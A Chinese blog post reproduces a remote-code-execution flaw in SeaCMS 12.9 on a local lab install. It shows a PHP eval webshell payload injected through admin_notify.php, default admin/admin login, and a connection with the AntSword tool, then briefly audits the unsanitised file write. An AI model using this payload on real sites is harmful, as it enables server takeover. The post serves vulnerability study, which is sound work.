海洋CMS正向RCE漏洞复现

首先搭建靶场环境

我们需要提前准备好一个正常使用的小皮面板

然后我们把提前准备好的压缩包解压出来并且放置到小皮面板的网站目录下

 
SeaCMS_12.9_海洋CMS安装包

我的小皮面板服务目录在C:\phpstudy_pro\WWW

然后把刚刚的海洋cms放置到www目录下

图片[1]-海洋CMS正向RCE漏洞复现-孤独の博客

然后我们可以通过网页来进行访问然后安装,我的ip是192.168.1.57

所以就去到http://192.168.1.57/SeaCMS_12.9/Upload/install/index.php这个文件来进行安装操作,打开此url会出现下面的界面,然后点击右下角的开始

图片[2]-海洋CMS正向RCE漏洞复现-孤独の博客

 

直接同意

图片[3]-海洋CMS正向RCE漏洞复现-孤独の博客

图片[4]-海洋CMS正向RCE漏洞复现-孤独の博客

信息无误后点击下一步

下一步之后就需要我们填写数据库密码了,其他如果小皮没有变化就直接不管

图片[5]-海洋CMS正向RCE漏洞复现-孤独の博客

点击下一步即可看见安装完成

图片[6]-海洋CMS正向RCE漏洞复现-孤独の博客

接下来正式开始复现

首先我们去到http://192.168.1.57/SeaCMS_12.9/Upload/ew6sv/这个文件目录

图片[7]-海洋CMS正向RCE漏洞复现-孤独の博客

因为我们是直接在这里安装的,保存了我们的cookie所以我们就直接进来了,如果没有直接进来也不要紧,直接弱密码账户admin 密码admin就行了

图片[8]-海洋CMS正向RCE漏洞复现-孤独の博客

注意ew6sv这个目录是上图自动生成的

然后我们可以直接去到

http://192.168.1.57/SeaCMS_12.9/Upload/ew6sv/admin_notify.php

这个地址下的admin_notify.php文件

图片[9]-海洋CMS正向RCE漏洞复现-孤独の博客

然后我们只需要在这里输入

1″;@eval($_POST[cmd]);;//

然后下面的随便填,就像这样子

图片[10]-海洋CMS正向RCE漏洞复现-孤独の博客

点击确认

确认后我们去到

http://192.168.1.57/SeaCMS_12.9/Upload/data/admin/notify.php

这个位置,这里便是我们刚刚写入马子的位置

直接打开蚁剑就可以直接正向连接了

图片[11]-海洋CMS正向RCE漏洞复现-孤独の博客

然后是代码审计

我们可以分别看一下这俩php文件到底发生了什么导致了RCE

图片[12]-海洋CMS正向RCE漏洞复现-孤独の博客

首先是他以写模式打开了

http://192.168.1.57/SeaCMS_12.9/Upload/data/admin/notify.php

这个地方的notify.php文件然后把内容拼接了上去,但是并没有检查拼接的字符串中是否存在特殊字符,而直接进去了

然后我们看一下写入的内容

图片[13]-海洋CMS正向RCE漏洞复现-孤独の博客

很明显我们输入的双引号把变量前面的内容给闭合了,然后后面有双斜杠直接注释了后方的内容,所以就导致了我们利用蚁剑来正向shell

© 版权声明
THE END
喜欢就支持一下吧
点赞5 分享
评论 抢沙发
头像
欢迎您留下宝贵的见解!
提交
头像

昵称

取消
昵称表情代码图片

    暂无评论内容